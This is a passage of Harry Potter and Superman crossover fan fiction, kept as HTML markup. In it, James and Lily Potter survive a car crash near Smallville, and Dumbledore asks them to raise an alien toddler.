to suit its user&#8217;s needs and registered all\nsorts of data from both the user&#8217;s status, the point of departure and so on.\nYet, what was more useful to James in his present situation was that the\nmagical item had a feature that allowed transcontinental displacement.</p>\n\n\n\n<p>Taking his wand he pointed\nit to the magical object and with a command started to infuse the Portkey with\nmore energy. The image in the identity card faded living only a blank, dark,\narea&nbsp; upon which red letters formed, conveying James&#8217; mental orders transmitted\nthrough his wand. Numbers started to appear as well, counting down the seconds\nas James put it on, his neck passing easily through the loop of the chain, the\nPortkey bouncing against his chest.</p>\n\n\n\n<p>Without losing more time,\nJames rushed as fast as he could towards Lily and put himself upon the\nstretcher, quickly grabbing the infant that seemed to found everything\nextremely funny. With his free hand reached to take Lily&#8217;s hand on his, making\nsure to be in contact with them both.</p>\n\n\n\n<p>Suddenly James felt like a\nhook had slammed against his middle and soon found himself, his wife and the\nmysterious boy taken at high speeds towards the only place James could feel\ntotally safe.</p>\n\n\n\n<p>Hogwarts.</p>\n\n\n\n<p>---------------------------------------\n</p>\n\n\n\n<p>James groaned as he slowly\nopened his eyes. </p>\n\n\n\n<p>Blinking, he rose up, his\nbody responding normally even if he was feeling quite tired and stiff. He\nblinked as a familiar scent reached his senses. It was one that he knew very\nwell and at the same time, filled him with contentment and dread as he tried to\npierce the haze that prevented him from understanding what he was doing in\nHogwarts&#8217; hospital wing.</p>\n\n\n\n<p>As he turned, he noticed\nthat he wasn&#8217;t alone.</p>\n\n\n\n<p>Albus Dumbledore looked at\nthe young man, his eyes twinkling but James could feel that they weren&#8217;t\ntwinkling as much as they used to do and that bothered him. Not even in those\ndark times, with Voldemort gathering followers by the dozen with each passing\nday, had Dumbledore lost that particular light that kept those around him going\non.</p>\n\n\n\n<p>Still Dumbledore smiled,\nrising to put a restraining hand upon the younger man&#8217;s shoulder.</p>\n\n\n\n<p>&#8220;Easy, James. You took\nquite a beating before you reached us. Madame Pomfrey has patched you up but\nshe is adamant that you take it easy.&#8221;</p>\n\n\n\n<p>James nodded, sinking back\nin the soft bed. He knew that the Hogwarts nurse was right but keeping quiet\nand unmoving had never been his forte.</p>\n\n\n\n<p>&#8220;Sir... what happened? I&#8217;m\nnot too sure... it&#8217;s like if my mind is full of cotton wool.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore&#8217;s face grew\nserious. &#8220;You don&#8217;t remember anything? Anything at all?&#8221;</p>\n\n\n\n<p>James closed his eyes\ntrying to gather his stray thoughts &#8220;I... I... no sir. I&#8217;m not able to.&#8221;</p>\n\n\n\n<p>Albus nodded as if he had\nexpected something like that. &#8220;Madame Pomfrey told me that it could be a\npossibility. It seems that besides three broken ribs, one leg and arm broken, a\nperforated lung and numerous cuts of different consideration you had a nasty\ncontusion in your head. She was impressed that you had been able to perform\nmagic at all...&#8221;</p>\n\n\n\n<p>&#8220;Sir do you know what\nhappened? Wh-where is Lily?&#8221;</p>\n\n\n\n<p>Dumbledore&#8217;s silence\nfilled James with fear.</p>\n\n\n\n<p>&#8220;What happened to Lily?&#8221;</p>\n\n\n\n<p>Dumbledore sighed heavily.\n&#8220;Lily is as well as she could be... taking in consideration the circumstances.\nAs for what happened I have some clues. Normally I would wait to Pomfrey&#8217;s\nadvice but this is something that cannot wait.&#8221;</p>\n\n\n\n<p>&#8220;Sir? Was it\nYou-Know-Who?&#8221;</p>\n\n\n\n<p>Dumbledore&#8217;s lips thinned\nas he considered his words - what was about to freak James out. &#8220;No James, it\nwasn&#8217;t Voldemort&#8217;s job - even if I expect him to be happy about the news if he\never learned about what happened &#8211; which is a situation I will do&nbsp; all within\nmy power to prevent.&#8221;</p>\n\n\n\n<p>He paused.</p>\n\n\n\n<p>&#8220;I have but some ideas of\nwhat exactly happened on a whole, but what I know for sure is that you suffered\nfrom a rather nasty car wreck while you were in your holidays.&#8221;</p>\n\n\n\n<p>Suddenly everything\ncleared in James&#8217;s mind. All that happened, the light, the car crash, him\nwaking up and struggling to save Lily, the mysterious boy that somehow saved\nthem, the Portkey...</p>\n\n\n\n<p>Opening his eyes he\nnoticed that Dumbledore was looking at him intently with those eyes that always\nseemed to know what you were thinking.</p>\n\n\n\n<p>&#8220;I assume you have\nremembered it all, isn&#8217;t it James?&#8221;</p>\n\n\n\n<p>James nodded &#8220;How is Lily?\nWas I fast enough? I...&#8221;</p>\n\n\n\n<p>Rising a hand, the old\nwizard stalled him. James stopped speaking but it was clear that he was dying\nto know what happened.</p>\n\n\n\n<p>&#8220;First of, yes, you were\nfast enough to save her life...&#8221;</p>\n\n\n\n<p>&#8220;Thank Merlin!&#8221; said\nJames, relaxing, feeling like if a heavy weight had been lifted from his heart.</p>\n\n\n\n<p>&#8220;However...&#8221;</p>\n\n\n\n<p>James&#8217;s eyes snapped back\ntowards the school&#8217;s headmaster. &#8220;However what?&#8221;</p>\n\n\n\n<p>Dumbledore&#8217;s eyes filled\nwith a mixture of sadness and pity. &#8220;However, we were unable to heal some of\nthe internal damage that she suffered from the crash. In that you were much\nmore lucky than Lily...&#8221;</p>\n\n\n\n<p>James face had turned\nashen. &#8220;What sort of damage?&#8221; he asked, his voice sick with worry.</p>\n\n\n\n<p>&#8220;Lily will be able to live\nnormally but the accident has left her barren. James... She will never be able\nto have children.&#8221;</p>\n\n\n\n<p>James felt as if the world\nhad ended. Considering how he was feeling he would have been surprised to know\nthat it hadn&#8217;t. For a long time he was speechless, unable of any coherent\nthought as his heart shattered, not only for him but more for Lily.</p>\n\n\n\n<p>&#8220;Oh gods...&#8221; James buried\nhis face in his hands, hot tears falling from his closed eyes as sobs wrecked\nhis body. He was aware of Dumbledore moving and gathering him in a fatherly\nhug, sharing whatever comfort the old wizard was able to give to the younger\nman. James clutched the robes of the headmaster, weeping unashamedly within Albus&#8217;s\nembrace.</p>\n\n\n\n<p>After a while James was\nable to compose himself enough to feel embarrassed by his breakdown. </p>\n\n\n\n<p>&#8220;There is nothing to be\nashamed of, James.&#8221; The young man looked up to the old wizard&#8217;s unfathomable\neyes and gentle smile. &#8220;It a terrible thing I know... and to both you and Lily\nhard times are ahead.&#8221;</p>\n\n\n\n<p>He paused.</p>\n\n\n\n<p>&#8220;But no matter how\ndifficult things are, or how terrible this moment seems to you, never lose\nhope, James.&#8221;</p>\n\n\n\n<p>James laughed, a terrible\nsound full of sadness and bitterness. &#8220;Hope? How can I hold on to hope when I\nfeel like if some part of me is dead? How, when I will have to face Lily and\nbreak her dreams? How?&#8221; new tears crossed his cheeks as\nhe contemplated that grim future.</p>\n\n\n\n<p>Dumbledore stood silent as\nhe watched the young man&#8217;s prayer of despair, a young man that for many others\nwas a sign of hope in those dark times... </p>\n\n\n\n<p>&#8220;Do you want to see her?&#8221;\nhe asked gently, a hand offering comfort and support trough the simple contact.</p>\n\n\n\n<p>Silently James nodded.</p>\n\n\n\n<p>---------------------------------------\n</p>\n\n\n\n<p>Some hours later....</p>\n\n\n\n<p>Dumbledore entered the\nroom to find Lily and James in a desperate embrace, the young couple offering\neach other the strength they so needed. Lily&#8217;s head was pressed against James&#8217;\nchest and tears fell from her closed eyes. </p>\n\n\n\n<p>From time to time she shivered\neven with the charms keeping the room warm, making James embrace her more\ntightly as his hand carefully caressed her hair that in the dim light of the\nroom had lost some of its inner brightness. Such a simple gesture indeed, but\nso full of love that looking at it, at the silent communication going trough\nthe two of them, Dumbledore could feel his heart swell.</p>\n\n\n\n<p>&#8220;Excuse me?&#8221; he asked\nsoftly, somewhat reluctant to interrupt the moment of intimacy between the\nyounger couple, but that was something that needed to be done.</p>\n\n\n\n<p>Startled, both looked up,\ntheir eyes full of sorrow - only asking to be left alone. Yet as they continued\nto look at him without speaking, Albus took the liberty to enter the room.\nSitting down in a nearby chair, the school&#8217;s headmaster looked at them, his\nface cast in a thoughtful expression.</p>\n\n\n\n<p>Then he spoke softly and\nslowly, silent respect for their grief intertwined in his first, few words\n&#8220;First of all I want to excuse myself from disturbing you both. Believe me I\nwould not have done so if it was unimportant...&#8221;</p>\n\n\n\n<p>Lily moved slightly away\nfrom James in order to face Dumbledore better, but her hands remained within\nJames&#8217;s. He could do little but squeeze her hand more strongly, giving her his\nfull support with such small gestures. </p>\n\n\n\n<p>She smiled slightly. That\nwas one of the things Lily loved about her husband. </p>\n\n\n\n<p>When it came to her each\nand all of James&#8217;s gestures were a proof of his love for her. She knew that\nJames would prefer that Dumbledore kept away from them for the moment but Lily\nwasn&#8217;t one of Hogwarts&#8217; smartest witches&nbsp; for nothing. She knew Dumbledore and\nshe had never seen him inflict pain to someone if there wasn&#8217;t an option left. </p>\n\n\n\n<p>If he needed to speak to\nthem then it was important.</p>\n\n\n\n<p>&#8220;What can we do for you,\nProfessor?&#8221;</p>\n\n\n\n<p>Albus paused a moment\nbefore talking.</p>\n\n\n\n<p>&#8220;To begin, I would like to\nknow how you are feeling, my dear Lily...&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n<p>&#8220;How I feel? I&#8217;m not\nfeeling too great right now, Professor.&#8221; As much as she respected her old\nheadmaster, she couldn&#8217;t help the huge load of sarcasm in her statement. As\nsoon as those words were out she realized to *who* she was speaking with and\npaled. </p>\n\n\n\n<p>To her surprise Dumbledore\nlaughed and the sound of that laughter was like warm Butterbeer, warming her\nfrom inside out. Still she could not help but blush in embarrassment.</p>\n\n\n\n<p>&#8220;So-sorry, Professor&#8230;I...&#8221;</p>\n\n\n\n<p>Albus&#8217; smile grew wider.\n&#8220;There is nothing to be sorry about, dear child. I understand that my question\nhas been, let&#8217;s say, hmm... misunderstood?&#8221; He asked with a slight chuckle\nbefore speaking again &#8220;So I&#8217;ll ask again; do you feel well enough to follow me?\nThere is something... or rather yet, someone that you should meet.&#8221;</p>\n\n\n\n<p>&#8220;Who?&#8221; Asked James. &#8220;It&#8217;s\nnot Sirius, right?&#8221;</p>\n\n\n\n<p>Dumbledore chuckled,\nclearly amused. &#8220;No it&#8217;s not Mr. Black. In fact I doubt he even knows who he\nis. Now if you&#8217;ll be so kind as to follow me...&#8221; </p>\n\n\n\n<p>That said he exited the room. Exchanging a glance James and\nLily rose from the bed and hurriedly followed the headmaster. </p>\n\n\n\n<p>---------------------------------------\n</p>\n\n\n\n<p>&#8220;Damn it James! Leave me\nalone!&#8221;</p>\n\n\n\n<p>&#8220;But, uh... dear,&#8221;</p>\n\n\n\n<p>&#8220;Don&#8217;t &#8220;dear&#8221; me! I will\nnot break down nor will I drop down exhausted! But I swear if you continue\nacting like if I am made of glass it will be you that will need to walk out of\nhere in a wheelchair! Got it?!&#8221;</p>\n\n\n\n<p>&#8220;Got it!&#8221; James nodded\nfuriously, eyes wide.</p>\n\n\n\n<p>&#8220;Good.&#8221; That said, Lily\nturned towards Dumbledore who was acting as a silent and quite amused witness\nof the antics of the couple. His humor would be greater if he didn&#8217;t understand\nthat it was a way to take their minds off the consequences of the car crash.</p>\n\n\n\n<p>Shaking his head slightly,\nbut still with a smile upon his lips, he proceeded to guide them trough the\nmaze of corridors of Hogwarts&#8217; less known sectors. The place they were going\nwasn&#8217;t too far away but for security&#8217;s sake a string of charms and other less\nknown protection spells had been placed to prevent anyone but he and Pomfrey\nfrom accessing the room. </p>\n\n\n\n<p>The trio made some more\ntwists and turns arriving soon enough at a dark blue door with a silver handle\non it. Dumbledore&#8217;s hand reached for it and as he touched the metallic handle,\nthe door glowed, turning pale blue. Dumbledore opened it and entered the room,\nclosely followed by James and Lily.</p>\n\n\n\n<p>The room was not that big,\nin fact it seemed pretty ordinary as far as rooms go, but there were details\nthat set it apart.</p>\n\n\n\n<p>Mostly it was a sense of\nrelaxation and peace that seemed to flow from the walls. The roof was painted a\ndeep blue and from time to time dots of silvery light appeared, as if the roof\nwas trying to copy a starry night. Each wall was of one color representing each\nof the houses of Hogwarts. Upon each of the walls paintings of people and wild\nnature could be seen, moving as if they were alive, as the pictures in the wizarding\nworld did. As for the floor it was covered with all sorts of pillows, each of a\ndifferent color as if they were transfigured Bertie Bott&#8217;s All-Flavor Beans\nspilled on the ground.</p>\n\n\n\n<p>Stuffed animals and toys\nlay on the ground in haphazard positions as if a twister had been unleashed\nupon the room, leaving a chaos of colors in its wake.&nbsp; </p>\n\n\n\n<p>And in its middle, clad in\nsoft blue was a young boy that couldn&#8217;t have more than five years, maybe even\nthree or four at all, his short dark hair wild, deep blue eyes shinning in glee\nas he pushed a stuffed ball back and forth only to go after it.&nbsp;&nbsp; </p>\n\n\n\n<p>Then, as if he had just\nnoticed them, he looked up at the trio as if he had just noticed them and waved\nhis small arms playfully, looking at them as if he wanted them to play with\nhim. That look was enough to make Lily go near him and take the infant in her\narms, her green eyes shining with a strange light. </p>\n\n\n\n<p>The baby reached to take\none of Lily&#8217;s red tresses as though he wanted to pull them, but instead started\ncaressing it, as if its color fascinated him. Then he looked up, smiled and\nreached up to Lily&#8217;s face, all the time making sounds of happiness that could\nonly but make Lily laugh... she couldn&#8217;t help it - he was simply too adorable.</p>\n\n\n\n<p>Albus beamed and James\nlooked at the couple with a look that wasn&#8217;t that different from Lily&#8217;s, a look\nof tender wonder.</p>\n\n\n\n<p>The old wizard gestured\nfor the younger man to go to his wife and the child. Once James had joined\nLily, Dumbledore indicated an empty space in the corner of the room.&nbsp; </p>\n\n\n\n<p>&#8220;Let&#8217;s sit,&#8221; he proposed\nmaking his wand appear. </p>\n\n\n\n<p>With a wave of his wand,\nthree cushions morphed to take the form of three red-leather bound chairs, big\nenough to mold themselves to the three adults&#8217; body. Lily and James&#8217;s chairs\nwere side by side while Albus&#8217; was in front of theirs&#8217;. Once they were\ncomfortably seated, he started speaking.</p>\n\n\n\n<p>&#8220;I suppose that right now\nyou are asking yourselves why I have taken you two to this room and who is our\nyoung friend here.&#8221; He said as he pointed to the boy that was resting\ncomfortably against Lily.</p>\n\n\n\n<p>&#8220;Very Well. Yet before I\nspeak I would want to ask you, James, what happened after the crash. I believe\nthat with the stress of bearing those terrible news to Lily you may have\nforgotten part of what happened, something totally understandable of course.&#8221;</p>\n\n\n\n<p>Nodding James closed his\neyes, summoning his memories.</p>\n\n\n\n<p>&#8220;I remember a bright light\njust before the crash, then darkness. I remember awakening and feel pain...\nthen I realized that I was out of the car. As soon as I realized that Lily\nwasn&#8217;t there I started searching for her but with all the smoke it was\ndifficult and yet I found her. I...&#8221; he turned to face his wife and the young\nboy that was now asleep. &#8220;I found you under the car. I believed you to be dead\nbut I couldn&#8217;t accept it. I just couldn&#8217;t have lost you.&#8221;</p>\n\n\n\n<p>Lily smiled sadly as her\nhand reached to her husband&#8217;s, giving him her support.</p>\n\n\n\n<p>&#8220;But you found me and you\nsaved me. That&#8217;s all that maters.&#8221;</p>\n\n\n\n<p>James looked at Lily, his\neyes shinning. &#8220;But that&#8217;s it. I wasn&#8217;t able to save you. I couldn&#8217;t. I-I\ndidn&#8217;t have my wand. &#8221;</p>\n\n\n\n<p>Lily threw him a puzzled\nlook. &#8220;But then, how? You wouldn&#8217;t have been able to lift the car by yourself\nin your state.&#8221;</p>\n\n\n\n<p>James gaze moved from his\nwife to the toddler in her arms. &#8220;I couldn&#8217;t... and yet he could.&#8221;</p>\n\n\n\n<p>Lily eyes grew wide as she\nlooked at the boy resting against her chest. &#8220;That&#8217;s not possible. You must\nhave seen things James. Maybe in your desperation you willed it with some\nemotion based magic. It couldn&#8217;t have been him. it&#8217;s simply not possible for a\nbaby to lift a car.&#8221;</p>\n\n\n\n<p>James reached to the boy&#8217;s\nhead and carefully ruffled his hair.</p>\n\n\n\n<p>&#8220;Not in that state. I was\ntoo weak, feeling too much pain and anguish. I remember that I had given up...\nI could even feel how life was slowly leaving me. I sat next to you and took\none of your hands, telling me that at least we would die together. My back was\nresting against the car when...&#8221;</p>\n\n\n\n<p>&#8220;When what?&#8221; </p>\n\n\n\n<p>James hand moved to the\nboy&#8217;s cheek, caressing it softly with the back of his fingers. &#8220;When he lifted\nit.&#8221;</p>\n\n\n\n<p>Lily&#8217;s face paled, moving,\nlooking between her husband and the boy resting against her chest &#8220;James that&#8217;s\nnot... possible&#8221;</p>\n\n\n\n<p>&#8220;I&#8217;m afraid that in this\ncase it&#8217;s very possible.&#8221; Said Dumbledore quietly, making the couple look at\nhim.</p>\n\n\n\n<p>Lily looked at him in\nsurprise &#8220;How? It&#8217;s just an infant and he is so young...&#8221;</p>\n\n\n\n<p>Dumbledore nodded. &#8220;Yes he\nis very young... and he is not human.&#8221;</p>\n\n\n\n<p>James and Lily were\nspeechless for a long time. Then James spoke. &#8220;No disrespect meant, professor\nbut, are you sure? He looks very human to me. And if he is not human then what\nis he? Some sort of magical manifestation? An evolved magical creature?&#8221;</p>\n\n\n\n<p>Dumbledore seemed terribly\namused, looking at both James and Lily&#8217;s face and growing more by James\nsuppositions. </p>\n\n\n\n<p>&#8220;Oh no, nothing that far\nfetched. I think that you being a pure blooded wizard has limited some of your\nimagination for all that is not magical. Lily, you are my last hope to broaden\nyour husband, let&#8217;s say limited views...&#8221;</p>\n\n\n\n<p>Lily looked for a long\ntime at the young boy before shaking her head. &#8220;I&#8217;m afraid that I&#8217;m no more\nable than James to give you an answer. He seems so... normal to me.&#8221;</p>\n\n\n\n<p>Dumbledore seemed slightly\ndisappointed. &#8220;Ah, maybe some corrections to our teachings could be integrated\nin the Hogwarts curriculum.&#8221; Then as if noticing for the first time the strange\nlooks James and Lily were giving him, he smiled, his amusement still there.\n&#8220;But I digress. Let me put it this way - the reason why he was able to do what\nhe did was because he&#8217;s not from here.&#8221;</p>\n\n\n\n<p>&#8220;Not from here? You mean\nanother dimension?&#8221; asked James.</p>\n\n\n\n<p>&#8220;No, not an alternate\ndimension. Something more simple.&#8221; answered Dumbledore</p>\n\n\n\n<p>Lily&#8217;s eyes shone as she\nworked around what Dumbledore was trying to tell them. Then an idea crossed her\nmind. </p>\n\n\n\n<p>Not from here.</p>\n\n\n\n<p>&#8220;It&#8217;s not possible...&#8221; she\nrepeated more to herself than to the other two adults in the room. She looked\nat Dumbledore, who was now grinning.</p>\n\n\n\n<p>&#8220;Indeed Lily... Our little\nfriend here was able to do that because he is not human - not from this planet.\nIn short, for James to understand, we have here a full blooded alien; an\nextra-terrestrial being.&#8221; </p>\n\n\n\n<p>&nbsp;&#8220;From another planet? But\nProfessor, that&#8217;s impossible... and even if it was what chances are there that\nwe came across one of those?&#8221; asked James; not so sure if he understood or\nwhether he had heard correctly. </p>\n\n\n\n<p>Dumbledore nodded.&nbsp; &#8220;The\nchances are greater than you think. I know that wizards in general have a hard\ntime believing in other forms of life from outside of our solar system. But\nwhen they don&#8217;t automatically close their minds to that possibility.... As you\ndo, James&#8230;&#8221; </p>\n\n\n\n<p>&#8220;That&#8217;s not fair,\nprofessor!&#8221; said James, blushing and sounding like a little school-going boy\nwho had been scolded by his teacher for not finishing his homework. </p>\n\n\n\n<p>Still Dumbledore&#8217;s smile\nwas nothing but one full of understanding. &#8220;Of course. But the fact still\nstands that, to wizards, life, in all its limitless magnificence, is bound to\nthis green earth and other dimensions that are connected to this world. Silly\nas that sounds it&#8217;s how things stand in our beliefs.&#8221;&nbsp; </p>\n\n\n\n<p>&#8220;In that Muggles have\nshowed more wisdom than us. Life is not confined to this small planet, lost in\nthe infinite extension of the universe. We wizards grow complacent with our\nmagic, with our abilities, so much so that considering the possibility of\nsomething even more vast and mysterious than our power is seen almost as\nblasphemous, as unnatural, as was the concept of wizards and\nwitches to those that put Europe trough fire and death in this world&#8217;s Dark\nAges.&#8221;</p>\n\n\n\n<p>His face grew suddenly\nserious. </p>\n\n\n\n<p>&#8220;We don&#8217;t know very much\nabout our young friend here. And yet I fear to think what someone with evil\nintentions could do with him.&#8221;</p>\n\n\n\n<p>James&#8217; eyes narrowed. &#8220;Are\nyou referring to You-Know-Who, professor?&#8221;</p>\n\n\n\n<p>Dumbledore sighed, sinking\ninto his leather chair, looking old for perhaps the first time in Lily\nand James&#8217; life. &#8220;Sadly, nowadays, there is little not connected with Tom in\nsome way or another. Let me tell you what happened after you reached Hogwarts.&#8221;</p>\n\n\n\n<p>&#8220;As you know, you both arrived\nhere with our young friend through James&#8217; special portkey. Now what you don&#8217;t\nknow due to your unconscious state was that as soon as you arrived I led some\nof the Order&#8217;s operatives along with some Aurors to the coordinates your\nPortkey was displaying, believing that you had fallen in some Death Eater\nambush.&#8221;</p>\n\n\n\n<p>&#8220;What we found wasn&#8217;t the\nresult of some Death Eater attack - no wizards could inflict that much damage.\nAs soon as the lack of dark magic was discovered we gathered your things in\norder to make a hasty retreat before any Muggle authorities popped up to make\nany queries. We were about to Apparate back to Hogwarts when something caught\nthe eye of one of the Aurors in our group.&#8221; </p>\n\n\n\n<p>&#8220;At first I believed it to\nbe one of those Muggle contraptions... what&#8217;s its name... ah yes! Satellite,\nbut soon I was pulled out of my mistake. As unbelievable as it was, I had to\nacknowledge the evidence that proved that whatever that metallic object was, it\nwas not of human manufacture.&#8221;</p>\n\n\n\n<p>&#8220;Indeed as soon as we\nreturned I connected to the Muggle news channels to find some information about\nwhat had happened, and that gave me the missing piece of the puzzle. It seems\nthat Kansas, where you two were passing by, had been earlier under a meteorite\nshower causing in their wake the death of an untold amount of bystanders and\ngreat deals of destruction, especially in a little town nearby from where you\nhad your accident that goes by the name of Smallville.&#8221;</p>\n\n\n\n<p>Dumbledore paused, sighing\nand James and Lily understood perfectly that it was out of sorrow that he had\ndone so. The old wizard knew the terrible price of the loss of any human life\nand it was something hard to him, no matter the reasons or the victims.</p>\n\n\n\n<p>&#8220;Sadly that is something\nthat the inhabitants of that town and the authorities of the United States will\nhave to deal with. If it was up to me I would send some wizards to help but we\nare already stretched in our means. Voldemort is increasing his strength and\nattacks grow more frequent even as we speak. Already there have been outbreaks\nof dark energy that we haven&#8217;t have been able to prevent.&#8221;</p>\n\n\n\n<p>&#8220;Still that isn&#8217;t related\nto our little story. Returning to what happened we removed all evidence of our\nyoung friend&#8217;s arrival. Once back to Hogwarts I had to take the necessary measures\nto prevent Tom from learning of this boy&#8217;s existence.&#8221;</p>\n\n\n\n<p>&#8220;Why?&#8221; Lily asked the\nHeadmaster. &#8220;I mean, I understand the necessity of keeping this secret but what\nwould You-Know-Who do with him? He is so small, he couldn&#8217;t possibly be a\nthreat to him...&#8221;</p>\n\n\n\n<p>Dumbledore shook his head.</p>\n\n\n\n<p>&#8220;I&#8217;m afraid that it is the\ncontrary. This boy is the most direct threat to Voldemort and his plans. We may\nnot know what abilities or gifts this young boy may have but one day they may\nrepresent the difference between our victory or the one of the Dark Side.&#8221;</p>\n\n\n\n<p>This time it was James who\ninterrupted Dumbledore once he believed it was the right time. As an Auror he\nknew very well the powers of the Dark Lord and his ever-growing number of\nsupporters. The dark side was spreading like a seemingly unstoppable black\nplague all around the world. For those reasons and more it was rather difficult\nfor him to see this seemingly innocent child as something even more terrible\nthan the dark wizard that was turning the world into a gory battlefield. </p>\n\n\n\n<p>&#8220;How do you know that\nprofessor? What makes you believe that this boy could be so important, so...\ndangerous?&#8221;</p>\n\n\n\n<p>Dumbledore stroked his\nbeard, his eyes shining. &#8220;If the little feat of strength you mentioned wasn&#8217;t\nenough, the day you arrived, bleeding and unconscious on the brink of death,\nCassandra had also just popped in for a visit.&#8221;</p>\n\n\n\n<p>&#8220;Cassandra? Who is she?&#8221;\nasked Lily&nbsp; quickly, her natural curiosity overcoming her. &#8220;I&#8217;m don&#8217;t remember\nanyone with that name from the Order or the ministry, as I doubt you are\nspeaking of the Cassandra of Illion.&#8221; she added with a slight smile.</p>\n\n\n\n<p>Dumbledore smiled. &#8220;No,\nLily she&#8217;s not that Cassandra, although it would be interesting to know what\nsuch a woman could tell us with her gift of foresight granted by the gods.&#8221;</p>\n\n\n\n<p>Lily snorted. &#8220;A gift that\nin the end was a curse. She refused to give herself to the god Apollo as the\nprice of such power, and for that refusal the god cursed her, making those who\nheard her disbelieve her visions, which in the end meant the destruction of\nTroy.&#8221;</p>\n\n\n\n<p>James snorted, mimicking\nhis wife mindlessly. &#8220;Can we forget about people who have been dead for three\nthousand years and more, please? And like Lils here, I don&#8217;t remember any woman\nby the name of Cassandra.&#8221;</p>\n\n\n\n<p>Dumbledore laughed and\nLily shot an annoyed look at her husband. She would have snapped at him if\nDumbledore had not begun speaking again.</p>\n\n\n\n<p>&#8220;Cassandra is an old\nfriend of mine who, of course is not related to Priam, the last king of Illion.&#8221;\nHe paused his face gaining an introspective cast. &#8220;We met, let me think... more\nthan seventy-five years ago in North America as I was studying transfiguration\nwith the shamans of several of the native American tribes. Cassandra was also\nthere, but seeking to learn from the Wise Women of the remaining tribes. Her\npresence was a step of her journey to find a way to heal all around her, to\ncure what is rotten and decayed, what is sick and weak, what hurts and saddens.\nIn fact that&#8217;s her self-imposed mission; to heal the world.&#8221; </p>\n\n\n\n<p>&#8220;Heal the world?&#8221; asked\nLily.</p>\n\n\n\n<p>Dumbledore nodded and for\na moment Lily believed she had seen a flicker of sadness in the famous blue\neyes, but it was gone too fast for her to be sure of it. Then he spoke and\nnothing in his words or tone of voice betrayed that he had some hidden issue\nthat made him upset.</p>\n\n\n\n<p>&#8220;That&#8217;s what she does.\nCassandra has an extremely developed gift of empathy and through it , she feels\nthose things more acutely than other men or women, magical or not. With that\nability she is able to connect with the very world. Still that sort of skill is\nrare and she has never been able to harness it totally. Still, to what interest\nus, that highlighted sensibility allows her to feel someone destiny&#8217;s and true\npotential, not unlike reading one&#8217;s future even if that is an incorrect use of\nwords to express it.&#8221;</p>\n\n\n\n<p>James remained silent for\na moment before speaking. &#8220;So, if I understand correctly, this friend of yours\nsaw the kid&#8217;s potential.&#8221;</p>\n\n\n\n<p>Dumbledore nodded a small\nsmile tugging at the corner of his mouth. &#8220;You can understand it in such a, and\nI apologize for expressing it this way, James, crude fashion, (Lily couldn&#8217;t\nhelp but laugh) but basically you are right.&#8221; </p>\n\n\n\n<p>He paused, his face\nreflecting the wonder he was feeling within. &#8220;I have never seen such happiness\nin Cassandra&#8217;s face, never have I see her eyes light up with such hope and\nwonder. She looked at me as if she was holding the very epitome of the Light\nSide in her arms. She looked at me and spoke words that will forever be etched\nin my mind - </p>\n\n\n\n<p>&#8220;This is hope made flesh, Albus. This is\nsalvation given to mankind. This is the light of the future brought to us.&#8221; </p>\n\n\n\n<p>She refused to say more as\nshe departed but what she said is enough for me.&#8221;&nbsp;&nbsp; </p>\n\n\n\n<p>&#8220;Of course, I asked Madame\nPomfrey to run a basic set of tests on our young fellow. She hadn&#8217;t found\nanything like him in her whole career. As human as he appears to be he is\nradically different from any other living thing in the world. Still she was\nable to determine that the differences between him and us will become more\napparent as he grows and matures. Already he has displayed super human strength\nand his reflexes are also way beyond those of a child his age. As for that part\nour dear nurse believes him to be around three years old and yet he seems\nolder.&#8221;</p>\n\n\n\n<p>He paused, sighing, all\nsigns of his smile gone.</p>\n\n\n\n<p>&#8220;And now we have a\nproblem. What to do with this boy. No one must be allowed to know the truth of\nhis origins, as shadowed by our ignorance as they may be. No one must know. No\none.&#8221; His blue eyes flashed and some of his enormous power radiated from him.\nIt was quite rare to see Albus Dumbledore so worked up as to display his\nvaunted power, those near him knowing well enough that when he chose to do so\nit was only in extreme situations. </p>\n\n\n\n<p>James and Lily understood\nit quite clearly. No one had to know, not even their best friends or family.</p>\n\n\n\n<p>No one, as Dumbledore had\nsaid. </p>\n\n\n\n<p>Still James believed that\nhe had to speak on their behalf in this... matter. If the situation was that\ncritical he knew that old wizard would be open to all suggestions. </p>\n\n\n\n<p>&#8220;But sir, what about those\nAurors and order members who took part in rescuing us and that ship? With that\nmany people there the news of our little friend&#8217;s arrival will reach the Dark\nLord one way or another...&#8221;</p>\n\n\n\n<p>Albus nodded. &#8220;Measures\nhave been taken, measures that apply also to Poppy.&#8221;</p>\n\n\n\n<p>&#8220;What sort of measures,\nsir?&#8221; asked Lily as she embraced the sleeping infant tighter as if protecting\nhim, something that Albus didn&#8217;t miss. That made him smile slightly.</p>\n\n\n\n<p>&#8220;Obliviate spells. Of the\nstrongest magnitude. The tests conducted here have been deleted and all samples\nhave been eradicated.&#8221;</p>\n\n\n\n<p>&#8220;But what about him? How\ndo we explain his presence? As you implied we can&#8217;t leave him with the first\nwizard to present himself and with what you did to Pomfrey you seem to have\nexcluded the Hogwarts staff.&#8221;</p>\n\n\n\n<p>Albus nodded, pleased of\nthe young woman&#8217;s quick thinking &#8220;You are quite correct my dear Lily. To put to\nrest your concern for good Poppy, I will tell you that those obliviated agreed\nwhen they realized the seriousness of our present situation. Pomfrey helped me\nto destroy all proof of his presence at Hogwarts while the Aurors and members\nof the order have hidden the spaceship before the charm was applied on them.&#8221;</p>\n\n\n\n<p>&#8220;As for what doing with\nhim...&#8221; his blue eyes bored into James and Lily. &#8220;How do you feel about our\nlittle friend?&#8221;</p>\n\n\n\n<p>James and Lily looked at\neach other, not really sure of what to say. Both had known what the headmaster\nhad been implying with a sudden flash of hindsight, even if they were not able\nto explain how they knew it. </p>\n\n\n\n<p>What he asked of them...\nthey didn&#8217;t know if they could do it.</p>\n\n\n\n<p>James was at a loss, and\nthat wasn&#8217;t normal to him, being naturally quick-witted. Even if he was able to\ndiscern the true reason of his doubts stemmed from the fact that Lily would\nnever carry their child, their own flesh and blood, and yet here their\nonce-headmaster asked if they would take care of him. </p>\n\n\n\n<p>Could he do that much?</p>\n\n\n\n<p>His suffering, the same\nforce that seemed to shatter his soul when Dumbledore told him the bad news\nconcerning Lily demanded a refusal. It denied with mad ferocity to even accept\nthe possibility Albus gave them. </p>\n\n\n\n<p>Why should he 